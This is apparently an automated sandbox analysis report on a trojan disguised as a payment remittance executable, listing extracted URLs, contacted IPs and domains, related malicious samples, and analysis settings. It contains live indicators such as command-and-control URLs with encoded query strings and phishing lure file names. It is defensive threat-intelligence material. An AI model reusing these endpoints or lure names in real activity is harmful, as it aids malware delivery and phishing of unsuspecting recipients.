http://www.carterandcone.comva	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213423791.0000000005F2F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com-O6d	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216127582.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comttod	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217155173.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/eOndo	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false		high
http://www.goodfont.co.kr	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.212488825.0000000005F2D000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.com	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213423791.0000000005F2F000.00000004.00000001.sdmp, Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213161728.0000000005F2F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comasF	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216461639.0000000005F35000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/0O	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sandoll.co.kr2K	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.212488825.0000000005F2D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comttF	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216654283.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/lOyd	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213925578.0000000005F2D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.comypo	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213196484.0000000005F2F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/jp/lOyd	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.typography.netD	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cnly	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213011209.0000000005F2D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217951742.0000000005F2F000.00000004.00000001.sdmp, Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217690168.0000000005F2F000.00000004.00000001.sdmp, Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.com9	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213423791.0000000005F2F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216064181.0000000005F2F000.00000004.00000001.sdmp	false		high
http://www.galapagosdesign.com/DPlease	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/Y0	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214195042.0000000005F2D000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com.TTFsO	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217155173.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comrsiv	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216064181.0000000005F2F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false		high
http://www.sandoll.co.kr	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.212488825.0000000005F2D000.00000004.00000001.sdmp, Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213130693.0000000005F2D000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.226460143.0000000002841000.00000004.00000001.sdmp	false		high
http://www.sakkal.com	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.johnharrisagent.com/uytf/?4hax=1GgOydTR9rFB1tFiaPZsKtEWQf/ik/nrf61jzTsng/4mIf33LxMFmIGp7	raserver.exe, 00000013.00000002.479062532.0000000004DE2000.00000004.00020000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217155173.0000000005F2F000.00000004.00000001.sdmp	false		high
http://www.galapagosdesign.com/	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217666193.0000000005F2F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comF	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217155173.0000000005F2F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/It	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213811208.0000000005F2D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comgritolOyd	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.219234603.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comS	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216099763.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comceva	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.219234603.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.comYou	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213423791.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.como	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213423791.0000000005F2F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cncz	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213011209.0000000005F2D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/Y0nl	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/jp/	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.krQK	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.212459989.0000000005F2D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comd	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217155173.0000000005F2F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comdAO	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216654283.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.com%$I/d	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213161728.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.carterandcone.comm	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213196484.0000000005F2F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false		high
http://www.carterandcone.como..	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213423791.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.founder.com.cn/cn	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213011209.0000000005F2D000.00000004.00000001.sdmp, Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.212822532.0000000005F2D000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216985898.0000000005F2F000.00000004.00000001.sdmp, Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/t	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214195042.0000000005F2D000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.comz	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213423791.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.comy	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213244678.0000000005F2F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/;O$dh	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp, Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213811208.0000000005F2D000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.como	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217155173.0000000005F2F000.00000004.00000001.sdmp, Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216654283.0000000005F2F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	false		high
http://www.micro(D.df	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213284821.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.fontbureau.comals	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217155173.0000000005F2F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cnrsCI	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213161728.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/VO	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comcomS	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216127582.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/jp/0O	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213925578.0000000005F2D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.comueh	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213423791.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/-O6d	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
52.71.133.130	www.johnharrisagent.com	United States	14618	AMAZON-AESUS	false
198.54.117.211	unknown	United States	22612	NAMECHEAP-NETUS	true
103.15.104.66	v3lala99.cdnddd.net	Malaysia	55720	GIGABIT-MYGigabitHostingSdnBhdMY	true
198.54.117.215	parkingpage.namecheap.com	United States	22612	NAMECHEAP-NETUS	false

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	483527
Start date:	15.09.2021
Start time:	08:14:45
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 3s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@8/1@11/4
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 63.9% (good quality ratio 57.1%) Quality average: 69.4% Quality standard deviation: 32.7%
HCA Information:	Successful, ratio: 97% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 92.122.145.220, 204.79.197.200, 13.107.21.200, 20.82.210.154, 23.35.236.56, 40.112.88.60, 23.216.77.209, 23.216.77.208 Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, dual-a-0001.a-msedge.net, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, www-bing-com.dual-a-0001.a-msedge.net, arc.trafficmanager.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:15:36	API Interceptor	64x Sleep call for process: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
52.71.133.130	catalogo campione_0021.exe	Get hash	malicious	Browse	www.blonohomesales.com/p3q8/?XjEP7rn=SmJymXHTOHzh2mODpH0/b6a2rttU4EqyY620WTN4/2YO0WOF3CKHJjBQQ+H+msZQkWXKyJfovg==&QPK=5jV4hVZ
	revised quotation.exe	Get hash	malicious	Browse	www.britrobertsrealtor.com/n58i/?MDHhFT=mBK5C8kKNeLnOBRL/3T2hMZE7okfl7IAcP/kfUwDuOFDQo447qX7+h6WtHNcYYtcMFZ+&h6=u0DLr058
	NEW ORDER.exe	Get hash	malicious	Browse	www.britrobertsrealtor.com/n58i/?0FNpaj8=mBK5C8kKNeLnOBRL/3T2hMZE7okfl7IAcP/kfUwDuOFDQo447qX7+h6WtHN2HodcIHR+&rPJpgz=GBMHuTwhVBI
	BL COPY.exe	Get hash	malicious	Browse	www.britrobertsrealtor.com/n58i/?tr4x8=1bxhLR18&IX3h5l=mBK5C8kKNeLnOBRL/3T2hMZE7okfl7IAcP/kfUwDuOFDQo447qX7+h6WtHNcYYtcMFZ+
	bH8nV98LYu.exe	Get hash	malicious	Browse	www.shirleyabrowerrealtor.com/fa0p/?zR0XgB=gPIx3pDxYlK&4hl0ibR=MvRmTuLwwyQZwgK3YYiG7KB5GvnBlUZ8DFUO14mvI6WqMsSM4hixWFgVlLnCQryC99za
	xrHGQS1rz2.exe	Get hash	malicious	Browse	www.irenehigginson.com/i7dg/?Qz=KBZ4dj0XENkP&2dnpGhRp=RKv9R3r324rqECNMQpwQcD+TtNzrebiuQaqq6euW1C9OfeVYpIPiEjipJWSoTYE6epD/
	Scan#0068-46c3365.exe	Get hash	malicious	Browse	www.andrewsteelsells.com/q3t0/?-Zl=6idTJ3MAhmjthBNVTJ2XuDMtfLW/2CXP3uLaEMGhGmhIqOq2RVzpVswBfbFOtMAa4qr0&gJBT-f=IFNTv2l8I
	Shipping Documents.exe	Get hash	malicious	Browse	www.hopematthewsrealtor.com/amb6/?c8n=8pm2sjSgmmTSFscavwD5UpILjrVjpPh3mP/S3l2xoyuhTXjCVVPg3vinZEFiQZEl0/31&Vt=QZbpwDmh5dWDM
	IMAGE00037.exe	Get hash	malicious	Browse	www.jasoneganrealtor.com/kkt/?0DKlKl=cc/nqGYAQYIM3Pt1Xwy2u5TuLJzmwQtvr0clQyawalrzoTK8+eLnoTutccqTHVKswWI+&UL=0balqH
	FASMW.EXE	Get hash	malicious	Browse	www.findthematchmakerrealtor.com/cabq/?h6R8xP=L/FIdmi9M2kSKwf8ScI+8YDyUdwD7p7Kj2yVOc9WwOzkqPyEJC2VW+A/3pD6I5dSpBvh&iZ=2di86hvH
	EJIMS.exe	Get hash	malicious	Browse	www.howdysellshomes.com/eo5u/?3fqHGn=ZlnpMphxFT&ATRPZLx=yfSEZOF/V+aHR3Qqu+TOTlJolf6SRhlBlkgMTnrUi9a7ISsQSkzVdaPaAGQDw9tGN+zc
	SA-NQAW12n-NC9W03-pdf.exe	Get hash	malicious	Browse	www.blakehaleyrealestate.com/uwec/?Rl4=YVFTx4yh&GFQl9jnp=9RHT2DLP46IJWlpPTosGw7NRwYJtTk68eEdvTXInG9v5n7yAqhkX2tGT0EYgCY2WM8rv
	RFQ-V-SAM-0321D056-DOC.exe	Get hash	malicious	Browse	www.blakehaleyrealestate.com/uwec/?v2=9RHT2DLP46IJWlpPTosGw7NRwYJtTk68eEdvTXInG9v5n7yAqhkX2tGT0EYgCY2WM8rv&CZ6=7nExZbW
	TSPO0001978-xlxs.exe	Get hash	malicious	Browse	www.blakehaleyrealestate.com/uwec/?-ZVd=1bgta&T8VxaVs=9RHT2DLP46IJWlpPTosGw7NRwYJtTk68eEdvTXInG9v5n7yAqhkX2tGT0EYgCY2WM8rv
	igPVY6UByI.exe	Get hash	malicious	Browse	www.gregismyrealestateagent.com/evpn/?6lB4ir3X=UDxzuRprqZDJvJoKVzbwL1i6nUgviHPd/6Kvoeyj55HiZxQYyGLzJE1yAaeHFu5gVc5c&lZQ=fxoxjP38
	MACHINE SPECIFICATIONS.exe	Get hash	malicious	Browse	www.melekhemfuzaylovrealtor.com/rrrq/?ATxdA4s=pwrgH0dcWtE6RcnjvsF+gBwj2enFa+fTozhnxLgTWRaQ9ETFCh2EIcQryx3dD2YPpuUAmv+cig==&4hO=uDHPhJIxONuPbDb
	purchase order#034.exe	Get hash	malicious	Browse	www.patticrumprealestate.com/8ufh/?EzrthRhp=U8w9/jPqiyF9T6rAv+nd1qZLEbDwevisuc0vxVqKX7gCId07x/wriiT59VLN/LUTeuQy&ojo0f=SzrhU8
	dwg.exe	Get hash	malicious	Browse	www.evamichellevermeeschrealtor.com/ripw/?YL0=AbZvoGEXXQ2UeGMkjKvPTH9y6CbrSsxy+uP80hsvy1agLthBgMYihPZc0BWoiy3movbA&DhAH08=9rzdODV81V
	PO#416421.exe	Get hash	malicious	Browse	www.propertiesbyjose.com/wpsb/?GFQL6=9rzdF4d0LhP&pvbxILHp=HEs1UZJZzTZh4b/CLgTQtUFl/p4LqgX1DDiD2qBPcXJWn7sMmrEWnzV34lgPleSeyaCceIjMPg==
	POgMmI.exe	Get hash	malicious	Browse	www.landeverrealestate.com/wsu/?FDHH=o0d7uZds/Uq3OyNWot+oiPxVX9Lhq1LOweo6JSl71P7OyksdMpdvphbquE+Kn7tuvWRF0Atuwg==&Rl=Vtx0J

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
parkingpage.namecheap.com	debit.xlsx	Get hash	malicious	Browse	198.54.117.212
	Data Sheet and Profile.exe	Get hash	malicious	Browse	198.54.117.215
	4444.exe	Get hash	malicious	Browse	198.54.117.218
	3RBawvxxeY.exe	Get hash	malicious	Browse	198.54.117.210
	grace $$.exe	Get hash	malicious	Browse	198.54.117.212
	RFQ_PO_009890_pdf.exe	Get hash	malicious	Browse	198.54.117.210
	SpZP2QerMU.exe	Get hash	malicious	Browse	198.54.117.211
	Purchase Order# 210145.exe	Get hash	malicious	Browse	198.54.117.215
	RFQ 10305 .xlsx	Get hash	malicious	Browse	198.54.117.212
	BIN.exe	Get hash	malicious	Browse	198.54.117.216
	REMMITANCE COPY.exe	Get hash	malicious	Browse	198.54.117.210
	jxotfrv2bv.exe	Get hash	malicious	Browse	198.54.117.212
	zXv0Gd4tPi.exe	Get hash	malicious	Browse	198.54.117.210
	PO747484992.exe	Get hash	malicious	Browse	198.54.117.217
	YgAynTdpcncdnG4.exe	Get hash	malicious	Browse	198.54.117.217
	PO_PRICE_REQUEST_00989_PDF.exe	Get hash	malicious	Browse	198.54.117.212
	New order.pdf.exe	Get hash	malicious	Browse	198.54.117.215
	PO.xlsx	Get hash	malicious	Browse	198.54.117.212
	Transfer_form_$157,890.xlsx	Get hash	malicious	Browse	198.54.117.211
	GosMzUpnGu.exe	Get hash	malicious	Browse	198.54.117.217

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AMAZON-AESUS	PO7420.exe	Get hash	malicious	Browse	52.4.209.250
	DLH1TwLBhW.exe	Get hash	malicious	Browse	50.16.244.183
	avxeC9Wssi	Get hash	malicious	Browse	54.57.110.152
	Quotation urgent.exe	Get hash	malicious	Browse	52.201.24.227
	KOC RFQ.doc	Get hash	malicious	Browse	52.204.77.43
	PO. 2100002_pdf____________________________________.exe	Get hash	malicious	Browse	3.223.115.185
	hhh.mp3.dll	Get hash	malicious	Browse	54.243.45.255
	xrm4z50ja9.exe	Get hash	malicious	Browse	54.83.52.76
	Swift Trf.exe	Get hash	malicious	Browse	52.201.24.227
	HjIXsbs4Jg	Get hash	malicious	Browse	54.142.124.216
	7b388AC1Fw	Get hash	malicious	Browse	44.194.145.151
	DPD.apk	Get hash	malicious	Browse	50.16.244.183
	Po2142021.xlsx	Get hash	malicious	Browse	18.213.250.117
	FlashPlayerUpdate.apk	Get hash	malicious	Browse	23.21.76.7
	QcXQmNSaSp	Get hash	malicious	Browse	18.207.108.88
	i586	Get hash	malicious	Browse	34.231.175.5
	arm	Get hash	malicious	Browse	54.133.131.54
	zoD4YzpMMG	Get hash	malicious	Browse	54.80.227.212
	mips	Get hash	malicious	Browse	34.225.41.128
	x86_64	Get hash	malicious	Browse	54.167.122.15
GIGABIT-MYGigabitHostingSdnBhdMY	Clh974QBqG	Get hash	malicious	Browse	103.21.89.29
	k6uiZJTzLi.exe	Get hash	malicious	Browse	103.91.67.83
	Y22uvB2InU.exe	Get hash	malicious	Browse	103.91.67.83
	sbFQSOHQS9.exe	Get hash	malicious	Browse	43.231.4.7
	zidwvnFsej.exe	Get hash	malicious	Browse	43.231.4.7
	awVwuEPo4t.exe	Get hash	malicious	Browse	43.231.4.7
	jr8m2SSa1e.exe	Get hash	malicious	Browse	43.231.4.7
	z33RH5liBO.exe	Get hash	malicious	Browse	103.91.67.83
	OIHcOp52HF.exe	Get hash	malicious	Browse	43.231.4.7
	n5MFenscid.exe	Get hash	malicious	Browse	43.231.4.7
	v6TB5C7KtW.exe	Get hash	malicious	Browse	43.231.4.7
	OhfbJIz1X7.exe	Get hash	malicious	Browse	43.231.4.7
	02xCEgwyK3.exe	Get hash	malicious	Browse	43.231.4.7
	refno.exe	Get hash	malicious	Browse	103.91.67.83
	oaG6jOntjL	Get hash	malicious	Browse	103.229.227.24
	UZOM POWER.exe	Get hash	malicious	Browse	103.27.74.97
	JFBlvEr5H9.exe	Get hash	malicious	Browse	103.91.67.83
	olG7GnXKKT.exe	Get hash	malicious	Browse	103.91.67.83
	ORDER 200VPS.xlsx	Get hash	malicious	Browse	103.91.67.83
	uLTvM5APNY.exe	Get hash	malicious	Browse	43.231.4.7
NAMECHEAP-NETUS	P67mzce6yI.exe	Get hash	malicious	Browse	198.54.122.60
	Gu#U00eda de carga.pdf.exe	Get hash	malicious	Browse	198.54.122.60
	debit.xlsx	Get hash	malicious	Browse	198.54.117.212
	Pharmaceutical Inquiry.doc	Get hash	malicious	Browse	198.54.122.60
	diagram-129.doc	Get hash	malicious	Browse	198.54.124.27
	diagram-129.doc	Get hash	malicious	Browse	198.54.124.27
	diagram-129.doc	Get hash	malicious	Browse	198.54.124.27
	deck.exe	Get hash	malicious	Browse	198.54.122.60
	diagram-477.doc	Get hash	malicious	Browse	198.54.124.27
	diagram-477.doc	Get hash	malicious	Browse	198.54.124.27
	diagram-477.doc	Get hash	malicious	Browse	198.54.124.27
	PO0140092021.doc	Get hash	malicious	Browse	198.54.122.60
	I210820-0002 D1#U96a8#U6a5f-#U6d77#U95dc#U767c#U7968-R1_pdf.exe	Get hash	malicious	Browse	198.54.115.133
	DHL-AWD6909800855.doc	Get hash	malicious	Browse	104.219.248.49
	doc03633420210907151503.doc	Get hash	malicious	Browse	198.54.122.60
	obizx.exe	Get hash	malicious	Browse	104.219.248.49
	fytfireuiwfgdcukyd.doc	Get hash	malicious	Browse	198.54.122.60
	DHL-AWD6909800855.doc	Get hash	malicious	Browse	104.219.248.49
	wuH92YGkZk.exe	Get hash	malicious	Browse	104.219.248.45
	3VFWIsGexy.exe	Get hash	malicious	Browse	198.54.115.195

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.log Download File
